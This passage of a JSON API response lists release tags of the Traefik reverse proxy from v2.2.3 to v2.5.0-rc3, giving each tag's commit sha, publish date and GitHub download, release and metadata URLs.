traefik/tags/v2.4.13/manifests"},{"name":"v2.4.12","sha":"8be434aaadfcb14270657980f7ffffa0ebca420b","kind":"commit","published_at":"2021-07-26T16:08:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.12","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.12/manifests"},{"name":"v2.5.0-rc3","sha":"48bd279311d93601ecf4a43271e9de84ec69e542","kind":"commit","published_at":"2021-07-20T14:26:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc3/manifests"},{"name":"v2.4.11","sha":"2a2f7f783fede2863292b6ade682d85f587c06c0","kind":"commit","published_at":"2021-07-15T14:48:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.11","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.11/manifests"},{"name":"v2.4.10","sha":"2f47bb0df6aa1677388dc1d10d98509b476d0534","kind":"commit","published_at":"2021-07-13T14:54:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.10","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.10/manifests"},{"name":"v2.5.0-rc2","sha":"1f880662d6402666d830e12669668f2910796cc3","kind":"commit","published_at":"2021-06-28T18:43:21.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc2/manifests"},{"name":"v2.5.0-rc1","sha":"8070dfef453e8748d205a210e9cb18d43a1f0d12","kind":"commit","published_at":"2021-06-28T16:00:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc1/manifests"},{"name":"v2.4.9","sha":"5841c9a7a5f6bc7de0f0c15daaafb35d02c7d330","kind":"commit","published_at":"2021-06-21T15:00:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.9","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.9/manifests"},{"name":"v1.7.30","sha":"a0d8ee5a0252205e378a9a80d7ddc54483a5f03c","kind":"commit","published_at":"2021-04-08T14:30:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.30","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.30/manifests"},{"name":"v1.7.29","sha":"e73fd70add2ddb898af68a3856db92c53eda1b63","kind":"commit","published_at":"2021-03-29T16:12:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.29","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.29/manifests"},{"name":"v2.4.8","sha":"32655b5b16a1142b8b460e2d8dd68fe00d86a6bf","kind":"commit","published_at":"2021-03-23T15:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.8/manifests"},{"name":"v2.4.7","sha":"b1e11f3e885f77b81cebc37e915a173ed57f0ecf","kind":"commit","published_at":"2021-03-08T17:04:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.7/manifests"},{"name":"v2.4.6","sha":"40cd6ada4f3d8fc68289222bd9324a17187a92ae","kind":"commit","published_at":"2021-03-01T18:14:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.6/manifests"},{"name":"v2.4.5","sha":"dc9c558c0637d3a379e1f57d3321c42ccc05fda2","kind":"commit","published_at":"2021-02-18T17:04:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.5/manifests"},{"name":"v2.4.4","sha":"b8a466c571c398b3fb81b1aa63e6773a8270c5b9","kind":"commit","published_at":"2021-02-18T14:28:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.4/manifests"},{"name":"v2.4.3","sha":"911c4398589e3be87e534e0df64ddd7db1630de8","kind":"commit","published_at":"2021-02-15T15:52:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.3/manifests"},{"name":"v2.4.2","sha":"f482e5e84a6aa1e5a5bd547883d9c1cb16ba20b0","kind":"commit","published_at":"2021-02-02T17:06:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"4cabea069d9734958da19a09f039d20ca44ed80a","kind":"commit","published_at":"2021-02-01T16:14:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"c74918321d1655acc2bb43e2bd1412aa5e6661f1","kind":"commit","published_at":"2021-01-19T15:50:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.0/manifests"},{"name":"v1.7.28","sha":"2921e1059af7aafdd72f15dc2c96ac767f32703d","kind":"commit","published_at":"2021-01-13T17:14:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.28","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.28/manifests"},{"name":"v1.7.27","sha":"d7f752de4602af4e3878f7dd796160662f2512ef","kind":"commit","published_at":"2021-01-13T16:16:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.27","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.27/manifests"},{"name":"v2.4.0-rc2","sha":"fb21e3bb5c01b3d10afa0f9974368c001ce3def8","kind":"commit","published_at":"2021-01-12T15:30:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.0-rc2/manifests"},{"name":"v2.3.7","sha":"47fb6e036ac428e461c01d2b9b78f6e7503571e4","kind":"commit","published_at":"2021-01-11T17:48:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.7/manifests"},{"name":"v2.3.6","sha":"3ff83fc1f8281851e56dcc5f18600be8fbb6fe9f","kind":"commit","published_at":"2020-12-17T16:02:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.6/manifests"},{"name":"v2.4.0-rc1","sha":"3140a4e0cd8d904a7eadd67255b025c9d842823d","kind":"commit","published_at":"2020-12-16T15:42:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.0-rc1/manifests"},{"name":"v2.3.5","sha":"42d8e6d60def0b49e2de4720b3ad16dc5901f3c3","kind":"commit","published_at":"2020-12-10T15:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.5/manifests"},{"name":"v2.3.4","sha":"76e35a09b76be4dc4833d2d867d3ea8169c8ea75","kind":"commit","published_at":"2020-11-24T16:06:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.4/manifests"},{"name":"v2.3.3","sha":"f83a57b3daea1013c7288c78a92fe0dc545fe112","kind":"commit","published_at":"2020-11-19T17:31:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"3e61d1f233ebdf015eaf59e2c253fb8a1f79dbe9","kind":"commit","published_at":"2020-10-19T18:22:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"ddc663eac0dad112acc1d290f5f00fdc04da9613","kind":"commit","published_at":"2020-09-29T15:36:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"2477e18c87559e3d8035048afcd27a182026a961","kind":"commit","published_at":"2020-09-23T10:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0/manifests"},{"name":"v2.3.0-rc7","sha":"8e016cf67270ad574980faa6a31ebd39467d2e24","kind":"commit","published_at":"2020-09-18T15:20:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc7/manifests"},{"name":"v2.3.0-rc6","sha":"79af433381858697d46574ec36714e35399e7cac","kind":"commit","published_at":"2020-09-16T14:02:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc6/manifests"},{"name":"v2.3.0-rc5","sha":"cd1f03d4f443f4f1bc4159e1ad22dd24f16f7607","kind":"commit","published_at":"2020-09-07T16:30:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc5/manifests"},{"name":"v2.2.11","sha":"4ad0ab5433b2be0789714aad079d8063da4026c5","kind":"commit","published_at":"2020-09-07T14:00:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.11","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.11/manifests"},{"name":"v2.2.10","sha":"2d1a973ee5e958353a242b9332eaecadedf16f7c","kind":"commit","published_at":"2020-09-04T15:40:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.10","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.10/manifests"},{"name":"v2.3.0-rc4","sha":"e424cc7608aa99e6c1ad75475bdbea541f63da6c","kind":"commit","published_at":"2020-08-19T15:46:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc4/manifests"},{"name":"v2.3.0-rc3","sha":"3942962ef534b2fa5a8b3dbe9692cb5c6db6fcb0","kind":"commit","published_at":"2020-07-28T17:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc3/manifests"},{"name":"v2.2.8","sha":"fc52d1cfba85cd48fe3055c5d82a30b6694a1e52","kind":"commit","published_at":"2020-07-28T15:34:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.8","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.8/manifests"},{"name":"v1.7.26","sha":"5afa78e18e89f9f6a4a53ab57eccbb7c75ff1d7e","kind":"commit","published_at":"2020-07-28T15:32:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.26","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.26/manifests"},{"name":"v2.2.7","sha":"bbbc18fd843ee3774569a29a2d0d293ccc3f14f4","kind":"commit","published_at":"2020-07-20T16:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.7/manifests"},{"name":"v2.2.6","sha":"ff16925f63cdaf2837392399b8a8b3dce7cc7b0d","kind":"commit","published_at":"2020-07-17T15:54:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.6/manifests"},{"name":"v2.3.0-rc2","sha":"4957e498af84b9d3ac0ac0944a03bcdf897737a1","kind":"commit","published_at":"2020-07-15T20:00:19.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc2/manifests"},{"name":"v2.3.0-rc1","sha":"8f2951b275d88312a1add5084fa985e5d878be7a","kind":"commit","published_at":"2020-07-15T18:50:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.3.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.3.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.3.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.3.0-rc1/manifests"},{"name":"v1.7.25","sha":"0b2a6cecd1bf57f42dc977e0f26608d6e048d997","kind":"commit","published_at":"2020-07-15T10:28:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.25","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.25/manifests"},{"name":"v2.2.5","sha":"04f0ebf776b4a7c0eb8e1e98bb493902a250a580","kind":"commit","published_at":"2020-07-13T16:18:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.5/manifests"},{"name":"v2.2.4","sha":"06dcf8d8aa99d44739f605c2dbcf7533c7a9ece5","kind":"commit","published_at":"2020-07-10T17:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.2.4/manifests"},{"name":"v2.2.3","sha":"d7f517fbf59e9dc155c8470b5e33898c3f29ff85","kind":"commit","published_at":"2020-07-09T15:58:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.2.3","html_url